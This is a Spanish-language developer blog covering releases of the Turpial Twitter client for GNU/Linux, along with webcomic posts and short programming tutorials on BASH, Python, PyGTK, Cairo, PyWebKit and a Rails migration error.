2010-01-23T21:58:00.000-08:00

Hoy se publica oficialmente la versión 0.9.3-a1 de Turpial. Es similiar en funcionalidad a la 0.9.2 porque solo tiene unos cuantos bugs corregidos. También se cambió la numeración de las versiones y a partir de este momento cada una contendrá una letra al final (seguida por un número). Las letras usadas serán a: alpha, b: beta, rc: release candidate.

Otra cosa importante a resaltar es que con este lanzamiento Turpial cuenta con su primer paquete para una distro GNU/Linux. El paquete en cuestión es un .rpm para Fedora 11 y 12 (i386) elaborado por el amigo Edwind Contreras (aka Richzendy). Gracias por el excelente trabajo.

A continuación la lista de bugs corregidos en esta entrega:

Castellanizada toda la aplicación (a excepción de términos muy específicos)
Corregido bug que impedía guardar la opción de cargar color del perfil
Corregido error que bloqueaba la opción 'Follow' del menú contextual cuando el usuario no tiene amigos
Corregido error #54 con las notificaciones (el programa fallaba si no estaba instalado python-notify)
Corregido error #56 que impedía mostrar correctamente los hashtags en el menú contextual
Corregido bug #55 que impedía abrir el perfil del autor de un tweet
Corregido error #57 que bloqueaba la interfaz gráfica al actualizar y enviar un tweet al mismo tiempo (deadlock entre hilos)

No queda más que invitarlos a que prueben o actualicen a esta nueva versión; si consiguen un bug o tienen una sugerencia reportenlo aquí y si les gusta comenten, apoyen y difundan :D

Descargar 0.9.3-a1
Descargar 0.9.3-a1 (RPM Fedora)

Para más información del proyecto:
Página oficial
Preguntas y Respuestas Frecuentes
Manual de Instalación en Ubuntu (por Renata Franco)
Manual de Uso (por Azrael Arocha)

Publicaciones anteriores:
Lanzamiento de la versión 0.9.2
Lanzamiento de la versión 0.8
Lanzamiento de la primera versión (0.6)

Webcomic - El rebelde

2010-01-20T18:21:00.000-08:00

Después de sacar la versión 0.9.2 del Turpial he podido tomarme unos minutos de descanso y retomar mis comics. Espero que les guste :D

(Click en la imagen para agrandar)

Disponible versión 0.9.2 de Turpial

2010-01-19T19:08:00.000-08:00

Por mucho que le dí vueltas a la cabeza para empezar este post, no puedo abrirlo de otra forma que no sea diciendo...

¡GRACIAS!

Gracias a todas las personas que han apoyado este proyecto de una u otra manera, gracias a los que se han tomado la molestia de probarlo, gracias por todos los RT y las menciones en Twitter, gracias por los buenos comentarios y las sugerencias, de verdad... ¡Muchas Gracias!. Gracias a la comunidad de Software Libre en general por la gran aceptación que le han dado a esta humilde aplicación... el Turpial.

Ahora sí... empecemos.

Siguiendo con un ciclo intensivo de desarrollo presento con orgullo la versión 0.9.2 de Turpial, el cliente Twitter con sabor Venezolano.

A pesar de que solo han pasado 4 días desde el lanzamiento de la versión anterior 0.8.5, hay un montón de cosas nuevas y bugs corregidos en esta nueva entrega.

Las novedades más resaltantes:

Añadida opción para configurar el número de tweets por columna
Resaltado de los tweets favoritos
Mejorados mensajes de error
Almacenado el tamaño que el usuario le asigne a la ventana
Corregido shebang del lanzador para hacerlo compatible con Fedora (gracias a Richzendy)
Agregado soporte para los servicios su.pr y bit.ly (cortado de URLs)
Usado el esquema de colores del perfil del usuario para los elementos resaltables
Soporte para abrir los hashtags desde el menú contextual
Añadido botón para limpiar las búsquedas
Mejoradas la detección de hashtags y menciones
Agregada la opción para activar/desactivar el sonido de las notificaciones
Mejorados los módulos de configuración y notificaciones
Corregidos otro bugs menores

Si ya tienes instalada una versión 0.8.x y quieres actualizar solo basta con que descargues la 0.9.2 y descomprimas la carpeta turpial, reemplazando la carpeta anterior. Todo debería funcionar sin ningún problema e incluso deberías conservar toda tu configuración intacta.

Debo decir que detrás de una aplicación como Turpial hay muchas horas de programación, pero también hay muchas horas de pruebas y detección de errores. Afortunadamente Turpial cuenta con un par de beta testers estrellas: Azrael Arocha y José Leonel Subero (aka arawako). Excelente trabajo muchachos.

Pueden seguir el progreso de Turpial en Twitter a través de @TurpialVe; también tenemos la página principal del proyecto en google code, una página de Preguntas y Respuestas Frecuentes (FAQs) y dos excelentes tutoriales; un Manual de Instalación en Ubuntu realizado por mi pana Renata Franco y un Manual de Uso hecho por el pana Turpial Beta Tester, Azrael. Ya no tienes excusas... ¡A probarlo!

De más está invitarlos a que lo descarguen, lo prueben, lo comenten y lo apoyen. No es necesario saber programar para apoyar y colaborar con el Turpial.

Espero que lo disfruten. Screenshots después del salto (click en las imágenes para agrandar)

Turpial 0.9.2

Nuevas funciones en el menú contextual y resaltado de favoritos

Soporte para nuevos servicios de cortado de URLs

Implementadas nuevas preferencias

¿Y tu, ya probaste Turpial? Cuéntanos que te pareció, deja tu comentario

Publicado Turpial 0.8: Más criollo que una arepa

2010-01-11T20:01:00.000-08:00

Hace aproximadamente un par de meses hice oficialmente la primera publicación de Turpial (v0.6); un cliente alternativo de Twitter para GNU/Linux escrito en Python.

Para aquel entonces solo contaba con interfaz ~~para geeks~~ modo texto y un buen repertorio de funciones. Ahora, gracias a la colaboración del pana Azrael, traemos la versión 0.8 con un montón de bugs corregidos y funciones nuevas, pero lo más importante... ¡con interfaz para gente normal! :D

Ha sido un trabajo duro, aún quedan MUCHAS cosas por terminar y otras más por corregir (si no me creen miren la lista de bugs y cosas pendientes xDDD), pero lo importante es que el trabajo está dando sus frutos y al menos alguien más, a parte de mi, usa Turpial (sí, es Azrael, y que!?)

Entre las características del nuevo Turpial tenemos:

Interfaz GTK+ para el modo gráfico (el modo texto está en reconstrucción)

Puedes ver el timeline, las menciones, los mensajes directos, los favoritos y el perfil del usuario

Permite tuitear, borrar tuits y retuitear

Marcar y desmarcar tuits favoritos

Soporta búsquedas

Envía mensajes directos (solo usando el comando D)

Dispone de servicios para cortado de URLs

Descarga las imágenes de los usuarios

Tiene una interfaz con respuesta mejorada (usando threads)

Notificaciones integradas con el entorno de escritorio (y con sonido)

Guarda las preferencias del usuario

Modo "wide" a 3 columnas

Nueva API usando la autenticación segura de Twitter (OAuth)

Para los interesados, aquí pueden descargarlo y tenemos una sección de FAQs (Preguntas y Respuestas Frecuentes) donde se aclaran dudas comúnes y se explica cómo instalarlo y probarlo (no, lamentablemente no explicamos cómo desinstalarlo)

Este nuevo Turpial viene con puro sabor venezolano y es casi tan criollo como comerse una buena arepa con queso y mantequilla, así que los invito a que lo prueben, lo comenten, lo compartan y si les gusta, lo apoyen.

Los dejo con una pequeña galería de screenshots pa' que se animen.

Es todo por ahora, cambio y fuera.

Cómo determinar la ruta de ejecución de un script en BASH

2010-01-10T17:26:00.000-08:00

Este fin de semana estuve buscando la manera de hacer un script en BASH que funcione como lanzador para el Turpial y necesitaba saber la ruta de ejecución del propio script.

Por un momento no supe como hacerlo, pero La Gran Totuma me iluminó y recordé los parámetros básicos de cualquier script... fue entonces cuando llegó a mi mente el famoso $0.

$0 contiene la ruta completa del script en ejecución. Ese parámetro junto con otro programita nos permitirán hacer la magia.

La aplicación dirname recibe una ruta y devuelve la misma ruta pero sin el último componente (RTFM para más información).

Lo que hacemos es pasarle $0 a dirname y luego concatenamos el nombre de cualquier otro programa/script y voilá! Tendremos nuestro lanzador automático. Quedaría algo así:

#!/usr/bin/bash

CWD=$(dirname $0)
sh $CWD/otro_programa.sh

Webcomic: Despecho

2010-01-05T12:07:00.000-08:00

¿Y quién no ha sufrido un despecho?

Click para agrandar

Webcomic: El invento

2010-01-04T11:22:00.000-08:00

El fin de semana estuve un poco ocupado y por eso no hubo webcomic, pero como lo prometí aquí está el de hoy. Enjoy it:

Click para agrandar

Webcomic - Feliz Año 2010

2010-01-01T15:20:00.000-08:00

Y como era de esperarse, el comic para dar la bienvenida al nuevo año. Que lo disfruten

Click para agrandar

Webcomic - Deseo

2009-12-30T20:46:00.000-08:00

El comic de hoy va dedicado a mi pana Renata Franco, sé que se sentirá muy identificada xDDDD. Enjoy it.

Click para agrandar

Webcomic - Jamón Endiablado

2009-12-29T22:27:00.000-08:00

Empezando con una faceta que tenía tieeeempo con ganas de cristalizar pero que había estado procrastinando, finalmente se ha materializado... mi primer webcomic xD. Ahí les va

Click para agrandar

Si te gustó, comentalo... sino también xD

Codificar y decodificar entidades HTML en Python

2009-12-24T06:48:00.000-08:00

Aunque es una tarea vulgar y silvestre, en Python no existe algo "obvio" para codificar y decodificar entidades HTML. Me gustaría encontrar cosas como htmllib.decode() o htmllib.encode(), pero no existen. He visto en la web muchos (entiéndase MUCHOS) códigos y hasta expresiones regulares para completar esta tarea, pero son soluciones rebuscadas y que requieren invertir mucho tiempo.

Lo mío es a la Python-way: sencillo, elegante y limpio, y saxutils hace el trabajo a la perfección.

Basta con importar la librería y usar las funciones escape (para codificar) y unescape (para decodificar):

import xml.sax.saxutils as saxutils
print saxutils.escape("Codificando entidades HTML: & > <")

print saxutils.unescape("Decodificando entidades HTML: &gt; &amp; &lt;")

Esto imprimirá en pantalla algo como:

Codificando entidades HTML: &amp; &gt; &lt;
Decodificando entidades HTML: > & <

Simple, pero a veces no lo vemos a la primera. Espero que sea de utilidad este consejo

Tooltip en PyGTK para un IconView (insertado en un ScrolledWindow)

2009-12-03T15:52:00.000-08:00

Luego de pasar toda una tarde ~~reventándome la cabeza y tomando psicotrópicos~~ leyendo la documentación oficial de PyGTK y haciendo pruebas, logré conseguir mi objetivo: Mostrar un ~~miserable~~ tooltip sensible en un IconView usando la nueva API para Tooltips de PyGTK >= 2.12.

La forma antigua y tradicional de hacer un Tooltip era más rudimentaria; incluso habían formas que involucraban conectarse al evento 'motion-notify-event' del widget, obtener la celda en cuestión en base a la posición del ratón y crear la ventana a pie para luego mostrarla. Sin mencionar que era necesario manejar el tiempo de aparición del tooltip usando un timer y la desaparición del tooltip actual antes de mostrar uno nuevo. Nada trivial en realidad, pero así lo implementé en varias ocasiones.

La nueva API reduce todo el proceso a 3 simples pasos:

Establecer la propiedad has-tooltip del widget a True para que GTK pueda monitorear los eventos de movimiento relacionados con el tooltip
Conectarse a la señal 'query-tooltip' del widget. Esta señal será emitida cuando el tooltip deba ser mostrado. Uno de los argumentos pasados a la señal es un objeto Tooltip correspondiente al widget. Solo queda de nuestra parte modificarlo
Retornar True desde el callback que maneja la señal 'query-tooltip' para mostrar el tooltip o False para que no se muestre

Sencillo, ¿eh?. La API es realmente buena y facilita un montón la creación de un Tooltip, de hecho es tan sencillo que parace increible xD. Pero... se les pasó un pequeño detalle... las ventanas de desplazamiento (ScrolledWindow).

Cuando se usa un widget que es o será más grande que el espacio disponible para dibujarlo (TreeView, TextView, IconView, etc) se debe emplear un ventana con scroll (ScrolledWindow) e insertar el widget dentro de ella. La ScrolledWindow se encargará de manejar eso de los scrollbars, el viewport, etc, etc, etc (si no entiendes de que estoy hablando te recomiendo leer este apartado del tutorial de PyGTK). Muy bonito todo... hasta ahora.

El problema aparece cuando queremos mostrar un tooltip sensible para un IconView/TreeView (es decir, que el tooltip mostrará información diferente para cada elemento del contenedor) pues la famosa señal 'query-tooltip' dentro de sus argumentos pasa la posición RELATIVA del cursor mediante x e y:

def callback(widget, x, y, keyboard_mode, tooltip, user_param1, ...)

¿Qué significa la 'posición relativa del cursor'? Pues, en un widget sin scroll es la posición exácta del cursor sobre ese widget, pero en un widget con scroll ocurre lo siguiente:

La señal 'query-tooltip' nos devuelve lo que en la imagen se ve como X e Y, es decir la posición del elemento relativa al ScrolledWindow. Bien.

Ahora, para saber a cual elemento del IconView estamos haciendo referencia hace falta conocer las coordenadas del elemento (relativas al IconView) y ubicar en el modelo el registro correspondiente.

¿Cómo demonios vamos a obtener el elemento del IconView si la señal nos devuelve unas coordenadas que no nos sirven? ¿Cómo rayos obtenemos los valores de Z y W para referenciar al objeto correctamente?

Pues he aquí la solución, y es más fácil de lo que parece. El código se explica con los comentarios.

# -*- coding: utf-8 -*-

import gtk

class PruebaTooltip:
    def __init__(self):
        # Creamos nuestro modelo con 2 campos, uno para la imagen y otro para 
        # la descripción
        self.model = gtk.ListStore(gtk.gdk.Pixbuf, str)
        
        # Creamos el IconView
        self.iconview = gtk.IconView(self.model)
        # Le decimos que la imagen la sacará de la primera columna
        self.iconview.set_pixbuf_column(0)
        # Habilitamos el nuevo soporte de la API para tooltips
        self.iconview.set_has_tooltip(True)
        self.iconview.set_orientation(gtk.ORIENTATION_VERTICAL)
        self.iconview.set_selection_mode(gtk.SELECTION_SINGLE)
        self.iconview.set_column_spacing(10)
        self.iconview.set_columns(6)
        self.iconview.set_item_width(50)
        # Nos conectamos a la señal 'query-tooltip'
        self.iconview.connect("query-tooltip", self.show_tooltip)
        
        # Creamos el ScrolledWindow y le insertamos el IconView
        self.scrollwin = gtk.ScrolledWindow()
        self.scrollwin.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        self.scrollwin.set_shadow_type(gtk.SHADOW_IN)
        self.scrollwin.add(self.iconview)
        
        vbox = gtk.VBox(False, 5)
        vbox.pack_start(self.scrollwin, True, True, 0)
        
        # Creamos una ventana simple y le agregamos la caja que contiene la
        # ScrolledWindow y todo lo demás
        self.window = gtk.Window()
        self.window.set_title('Tooltip de in IconView como debe ser')
        self.window.set_default_size(300, 300)
        self.window.set_position(gtk.WIN_POS_CENTER)
        self.window.connect('destroy', gtk.main_quit)
        self.window.add(vbox)
        self.window.show_all()
        
        # Creamos unos cuantos elementos dentro del modelo (esto es solo con 
        # fines ilustrativos, pues en teoría debería llenarse desde otra parte)
        for i in range(30):
            label = 'Tooltip del Elemento %i' % (i + 1)
            pix = self.window.render_icon(gtk.STOCK_ABOUT, gtk.ICON_SIZE_DIALOG)
            self.model.append([pix, label])
        del pix
    
    # Esta es la parte ruda xD
    # Nuestro callback para la señal 'query-tooltip'
    def show_tooltip(self, widget, x, y, keyboard_mode, tooltip):
        # Calculamos el offset (w y x), es decir la diferencia entre el origen 
        # del ScrolledWindow y el IconView. Para eso usamos el valor de cada uno
        # de los scrollbar. Simple ¿no?. Pues después de los psicotrópicos lo
        # ví muy sencillo :P
        w = self.scrollwin.get_property('hadjustment').value
        z = self.scrollwin.get_property('vadjustment').value
        
        # Ubicamos la ruta del elemento según la posición 'exácta' del cursor
        # sobre el IconView
        path = widget.get_path_at_pos(int(x + w), int(y + z))
        if path is None: return False
        
        model = widget.get_model()
        
        # Obtenemos el elemento mediante el modelo y la ruta
        iter = model.get_iter(path)
        
        # Obtenemos la imagen y la descripción guardada en el modelo
        pix = model.get_value(iter, 0)
        desc = model.get_value(iter, 1)
        # Establecemos la imagen del tooltip
        tooltip.set_icon(pix)
        # Establecemos el texto del tooltip (con soporte para marcado pango :D)
        tooltip.set_markup(desc)
        # Borramos la imagen para no dejar basura regada
        del pix
        
        # Devolvemos True para que se muestre el Tooltip y seamos felices weee!
        return True
        
if __name__ == "__main__":
    PruebaTooltip()
    gtk.main()

Al final veremos algo así:

Pues sí, eso es todo... una simple suma. Lo que me reventó el coco fue saber de donde diablos sacar los valores de W y Z (los offset). Espero que hayan podido leer este post antes de pensar en implementar los Tooltips a la Old-Fashion Way e incluso antes de pensar en el suicidio xD.

Cambio y fuera

Turpial: Un cliente Twitter para GNU/Linux con todos los hierros

2009-11-18T19:41:00.000-08:00

Turpial es un cliente Twitter multi-interfaz escrito en Python que he estado desarrollando con el pana Eleazar Meza, orientado a ser una alternativa a los clientes Twitter más populares para GNU/Linux (aunque por su naturaleza también puede correr bajo otras plataformas).

La idea surgió hace poco más de 2 semanas y no son solo ganas de reinventar la rueda (considerando que DestroyTwitter, TweetDeck et al. están disponibles para Linux), sino que se quiere lograr un cliente que también corra en entornos de escritorio ligeros como Fluxbox, OpenBox, etc (pensando en las netbooks), ya que Adobe Air solo corre en KDE/GNOME y la mayoría de los cliente basados en GTK son soluciones ~~asquerosamente simples~~ que carecen de una gran cantidad de funciones.

Su nombre proviene del ave nacional de Venezuela (el turpial) y está inspirado principalmente por la sencillez y la funcionalidad de DestroyTwitter pero con el objetivo de tener varias interfaces: una interfaz en línea de comandos, una GTK pura y una más innovadora y bleeding-edge usando diferentes recursos y tecnologías como Cairo y Webkit, entre otras.

Actualmente Turpial se encuentra en estado de desarrollo intenso, por lo que pueden presentarse errores y fallos inesperados. Sin embargo, se invita a ~~los valientes y verdaderos geeks~~ la comunidad en general a que prueben Turpial y si detectan algún fallo lo reporten a cualquiera de las siguientes direcciones:

wil.alejandro at gmail.com < Wil Alvarez >
meza.eleazar at gmail.com < Eleazar Meza >

Características

Turpial ya cuenta con soporte para las siguientes funciones:

Ver tweets del timeline, menciones y favoritos
Ver y enviar mensajes directos
Actualizar estado (tuitear)
Ver following y followers
Buscar personas
Hacer follow o unfollow a cualquier usuario
Mostrar trending topics
Hacer mute/unmute a cualquier usuario

Quedan pendientes para las próximas actualizaciones:

Ver tweets sobre un tópico o un hashtag seleccionado
Cortar URLs y subir imágenes (con soporte para agregar diferentes servicios)
Agrupar tweets como conversaciones
Mostrar listas a las que el usuario pertenece y los tweets correspondientes a cada lista
Guardar las preferencias del usuario

Requisitos

Turpial necesita los siguientes paquetes para funcionar correctamente:

* python >= 2.5
* python-simplejson >= 2.0.x

Una instalación estándar de Python (como la que viene en la mayoría de las distribuciones GNU/Linux) es más que suficiente. El módulo de python para simplejson se puede instalar en las distribuciones basadas en Debian con el siguiente comando (como superusuario):

# aptitude install python-simplejson

¿Cómo diablos ejecuto Turpial?

Muy fácil. Para ejecutar Turpial en un ambiente GNU/Linux basta con descargar el siguiente archivo, descomprimirlo y en la carpeta turpial ubicar el archivo turpial.py, otorgarle permisos de ejecución y ejecutarlo (como usuario regular):

$ chmod +x turpial.py
$ ./turpial.py

Al momento de esta publicación la única interfaz disponible para Turpial es la ~~elitista, l33t, unix-like y hardcore~~ de línea de comandos. Basta con escribir "help" en la consola para obtener una lista de comandos disponibles o "help <comando>" para una ayuda detallada para el comando seleccionado.

Comentarios, sugerencias, reportes de bugs y cualquier otra información ~~que pueda alimentar nuestro ego~~ será bienvenida.

Una API de Twitter para Python simplemente hermosa

2009-11-08T05:58:00.000-08:00

Mi proyecto Turpial requiere una API de Twitter para Python y los que me conocen saben que siempre me inclino por las cosas simples y minimalistas. En la búsqueda de la API adecuada me conseguí con esta joya de Mike Verdone: Python Twitter Tools.

Esta API no es tan conocida como por ejemplo python-twitter de DeWitt Clinton, pero sin duda alguna es hermosa. En poco más de 125 líneas implementa toda la funcionalidad de Twitter y además incluye un set de herramientas para probar la API desde una consola; así como también un bot IRC.

Me impresiona la simplicidad de esta API y lo bien elaborada que está. Implementa todo con una clase de un solo método que maneja todo. Es una excelente librería que se ha ganado mi respeto y admiración y por es la he elegido como API para Turpial xD.

Cualquier otra cosa que diga, estará de más. Su belleza se puede apreciar viendo su código y probándola. Recomendada 200%

Cairo, PyWebKit y PyGTK: Semana de Pruebas

2009-10-22T20:03:00.000-07:00

Esta ha sido una semana de pruebas, pruebas y más pruebas. Estoy trabajando en eso de mejorar las interfaces en PyGTK y pretendo apoyarme en Cairo y WebKit. He investigado un poco de ambos; los resultados han sido alentadores.

Primera prueba de la semana: Cairo

Cairo es una librería que permite dibujar sobre un widget (canvas o lienzo). Y cuando digo dibujar, me refiero a dibujar. Trazar líneas, rectángulos, arcos y cosas por el estilo.

Lo primero que se me ocurrió hacer para probar Cairo fue un medidor. Para esto solo me haría falta un slider vertical y el canvas para dibujar. La idea es que el medidor se llene o se vacíe según el deslizamiento de la barra.

El código del medidor quedó así (se explica con los comentarios):

#!/usr/bin/python

# Ejemplo de widget con Cairo
#
# Author: Wil Alvarez (aka Satanas)
# Oct 19, 2009

import gtk
import cairo

# Creamos una clase que herede de gtk.DrawingArea para usarla como canvas
class Cpu(gtk.DrawingArea):
    def __init__(self, parent):
        self.par = parent
        gtk.DrawingArea.__init__(self)
        # Nos conectamos al evento expose, pues allí es donde ocurre toda 
        # la diversión
        self.connect('expose-event', self.expose)
        self.set_size_request(130, 200)
    
    # Este evento se ejecuta cada vez que la aplicación necesita redibujarse
    # o cuando cambiamos un valor y mandamos a redibujarla. Aquí se pintará
    # y se le dará forma al widget
    def expose(self, widget, event):
        # Aquí obtenemos el contexto de cairo
        cr = widget.window.cairo_create()
        cr.set_line_width(0.8)
        
        # Definimos un rectángulo para limitar el proceso de dibujado y así
        # optimizar la operación
        cr.rectangle(event.area.x, event.area.y, 
            event.area.width, event.area.height)
        cr.clip()
        
        cr.rectangle(0,0,130,200)
        cr.set_source_rgb(0, 0, 0)  # Establecemos el color de la brocha/pincel
        cr.fill()
        
        # Obtenemos el valor actual del slider
        x = (self.par.cur_value * 34) / 100
        
        # Dibujamos 34 barritas para el medidor y según el valor de 'x'
        # decidimos si está 'encendida' o no
        for i in range(34):
            if (i < 34 - x):
                cr.set_source_rgb(0.53, 0, 0)
            else:
                cr.set_source_rgb(1, 0, 0)
            
            h = 15 + (i*5)
            cr.rectangle(15,h,49,4)
            cr.fill()
            
            cr.rectangle(67,h,49,4)
            cr.fill()

# Creamos una ventana sencilla en PyGTK con el slider y el canvas
class PyApp(gtk.Window):
    def __init__(self):
        gtk.Window.__init__(self)
        
        self.set_title('CPU Meter')
        self.set_size_request(200, 200)
        self.set_position(gtk.WIN_POS_CENTER)
        self.connect('destroy', gtk.main_quit)

        self.cur_value = 10
       
        vbox = gtk.VBox(False, 2)
        
        scale = gtk.VScale()
        scale.set_range(0, 100)
        scale.set_digits(0)
        scale.set_size_request(35, 160)
        scale.set_value(self.cur_value)
        scale.set_inverted(True)
        scale.connect('value-changed', self.on_changed)
        
        self.cpu = Cpu(self)
        
        hbox = gtk.HBox(False)
        hbox.pack_start(self.cpu)
        hbox.pack_start(scale)
        
        vbox.pack_start(hbox, True, True, 2)

        self.add(vbox)
        self.show_all()
        
    # Programamos el evento 'value-changed' de la barra para que con cada
    # cambio mande a redibujar al widget del medidor
    def on_changed(self, widget):
        self.cur_value = widget.get_value()
        self.cpu.queue_draw()


    def get_cur_value(self):
        return self.cur_value

PyApp()
gtk.main()

Al final la aplicación quedó así:

Bastante aceptable para mi gusto. El código pueden descargarlo aquí

Segunda prueba de la semana: PyWebKit

La segunda prueba fue con PyWebKit. Esta prueba me ha frustrado un poco por la dificultad de conseguir documentación o referencias sobre la API de PyWebKit. Fue una labor árdua. Tuve que descargar varios códigos fuentes; entre ellos el de Gwibber (cliente de Twitter) y hasta el del mismísimo PyWebKit para lograr acercame a algo vagamente funcional.

El único ejemplo que traía PyWebKit era el de un navegador que soporta pestañas y otro centenar de características, por lo que no era para nada sencillo comprender su código (¿a quién se le ocurriría poner ese ejemplo? BIG FAIL! Es solo un demo, ¡rayos!... No el próximo Firefox, Opera o Safari).

El código de gwibber era de lejos más comprensible, aunque no menos complejo (se lo justifico por ser una aplicación de verdad no un ejemplo). Después de mucho leer, digerir implementaciones de controles GTK, fumarme unas cuantas lumpias y otros esoterismos, pude dar con el método que permite insertar código HTML directamente sobre el widget... el famoso load_string.

La cuestión con PyWebKit es relativamente simple, porque después que dominamos el load_string lo demás es carpintería HTML y CSS.

El código de la prueba a continuación:

#!/usr/bin/python

# Ejemplo de widget con WebKit
#
# Author: Wil Alvarez (aka Satanas)
# Oct 20, 2009

import gtk
import webkit
import gobject
gobject.threads_init()

# Codigo HTML que insertaremos al control para que lo muestre
ABOUT_PAGE = """
<html><head><title>PyWebKitGtk</title></head><body>
<h1>Mi primera prueba con PyWebKit</h1>
<p><a href="http://code.google.com/p/pywebkitgtk/">http://code.google.com/p/pywebkitgtk/</a><br/>
</p>
<div style="border: 1px solid #000; width:300px; height: 100px; background-color:#aaa;">
  zOMG! This is fucking awesome<br/><br/>
  No se que más poner en este div con estilos css  XDDD
</div>
</body></html>
"""

# Clase donde sobreecribimos el widget WebView de WebKit para implementar
# nuestro código y hacer uso del load_string para inyectar HTML directamente
# sobre el control (sin usar URI o algo similar)
class MessageStreamView(webkit.WebView):
    def __init__(self):
        webkit.WebView.__init__(self)
        self.connect("navigation-requested", self.on_click_link)
        
        self.settings = webkit.WebSettings()
        self.set_settings(self.settings)
        
        # Recibe como parámetros el código HTML, el mime-type de la página,
        # la codificación y un URI
        self.load_string(ABOUT_PAGE, "text/html", "iso-8859-15", "about")
        
    def on_click_link(self, view, frame, req):
        uri = req.get_uri()
        print uri
        return True

# Creamos una ventana simple en PyGTK con el control que acabamos de crear y 
# voilá! Tenemos nuestro widget que renderiza páginas web con el motor WebKit
class Simulador(gtk.Window):
    def __init__(self):
        gtk.Window.__init__(self)
        self.set_title('Pruebas de Gwibber, Webkit y otras shits')
        self.set_default_size(400, 400)
        self.set_position(gtk.WIN_POS_CENTER)
        self.connect('destroy', gtk.main_quit)
        
        messages = MessageStreamView()
        
        vbox = gtk.VBox(False, 5)
        vbox.pack_start(messages, True, True, 0)
        
        self.add(vbox)
        self.show_all()
    
Simulador()
gtk.main()

La ventana luce así:

Y el código pueden descargarlo aquí.

Aún no estoy muy satisfecho con la información que tengo de PyWebKit, lo mejor que he conseguido es una lista con los nombres de los métodos de la API y más nada, así que seguiré buscando.

Conslusiones

Cada librería tiene un ámbito diferente, por lo que la idea no es establecer una comparación uno a uno entre ellas, sino destacar los pro y los contra para forjar una idea de hasta donde podemos llegar con ellas.

PyWebKit

La mayor desventaja de PyWebKit es la falta de documentación. No me importaría tener una documentación vulgar, chapucera y hasta con errores ortográficos, con tal de al menos tener una! Sin embargo, para compensar eso podemos decir que PyWebKit nos otorga todo el poder y la flexibilidad de un motor de renderizado como WebKit. El límite lo pone nuestro manejo de HTML/CSS y el nivel de implementación de PyWebKit.

Cairo

Cairo tampoco tiene documentación ofical (o no la he encontrado aún) pero al menos hay unos cuantos tutoriales en la red que te dan luces acerca de su funcionamiento y sus métodos básicos. La principal ventaja de Cairo es que nos da la oportunidad de ser artistas sobre un widget xD, incluso creo que se puede usar OpenGL para acelerar el renderizado y aplicar efectos 3D... así que el límite lo pone nuestra imaginación. Pero como diría el abuelo de Peter Parker:

Un gran poder trae consigo una gran responsabilidad

Y esto es porque Cairo se utiliza en controles GTK que hacen las veces de lienzo; podemos imaginarlo como un control más de GTK pero que podemos dibujar a nuestro antojo. Esto trae una consecuencia, pensar en una aplicación desarrollada completamente con Cairo requiere una inversión de trabajo enorme (y quizás injustificada e innecesaria) pues Cairo como tal no tiene widgets, así que nos tocaría implementar desde cero cada control que queramos utilizar; entiéndase cajas de texto, etiquetas, botones y ni hablar de las listas y elementos con scroll... sería una verdadera pesadilla.

Ambas librerías tienen un enorme potencial, cada una en su ámbito y creo que la fórmula ganadora está en una buena combinación de ambas. Ni más ni menos.

Para la próxima entrega postearé las segundas pruebas con Cairo y las pruebas con DBus y el sistema de notificaciones de Ubuntu, NotifyOSD.

Referencias
[1] http://www.zetcode.com/tutorials/pygtktutorial/customwidget/
[2] http://zetcode.com/tutorials/cairographicstutorial/customgtkwidget/
[3] http://www.pygtk.org/articles/cairo-pygtk-widgets/cairo-pygtk-widgets.htm
[4] http://www.tortall.net/mu/wiki/CairoTutorial
[5] http://jackvalmadre.wordpress.com/2008/09/21/resizable-image-control/
[6] http://www.pygtk.org/articles/cairo-pygtk-widget-signals-es/cairo-pygtk-widget-signals.html
[7] http://trac.webkit.org/attachment/wiki/HackingGtk/webkit.api

Blog Action Day 2009 - Cambio Climático

2009-10-15T17:29:00.000-07:00

Hoy es un día especial. Es un día en el que los blogeros de todo el mundo nos unimos a una sola voz por un fin común. Hoy 15 de Octubre de 2009 nos unimos para enfrentar uno de los problemas más urgentes que ataca a nuestro planeta... El cambio climático. Es nuestra oportunidad de llegar a cientos de miles de personas y cambiar el curso de la historia. Escribe en tu blog sobre el cambio climático. Cualquier aporte es bueno. Eso es el Blog Action Day 2009 y yo estoy dentro. Tú... ¿Qué esperas?

Cierro con una premisa muy conocida en el mundo del Software Libre y un video:

No es lo mismo adaptarse a los cambios que provocarlos

Error con Ruby 1.8 y Rails 1.2.6 en Debian Squeeze

2009-10-05T19:03:00.000-07:00

Estaba yo una tarde de lo más tranquilo, programando mi sistema de compras de café verde mientras tarareaba una canciónde Bloodbath xD. En una de esas me dispongo a correr las migraciones de mi proyecto para actualizar la base de datos y para mi sorpresa ¡la migración falla!. El error (nada explícito) a continuación:

$ rake db:migrate
(in /home/satanas/proyectos/cvacafe/sicca)
rake aborted!
{:root=>"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol

(See full trace by running task with --trace)

Al ver la verbosidad del mensaje invoco el comando pero con la opción --trace tal como me lo sugiere la advertencia y obtengo esto:

$ rake db:migrate --trace
(in /home/satanas/proyectos/cvacafe/sicca)
** Invoke db:migrate (first_time)
** Invoke environment (first_time)
** Execute environment
rake aborted!
{:root=>"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol
/usr/lib/ruby/1.8/deprecated.rb:176:in `instance_method'
/usr/lib/ruby/1.8/deprecated.rb:176:in `deprecate'
/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb:994
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/base.rb:4
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
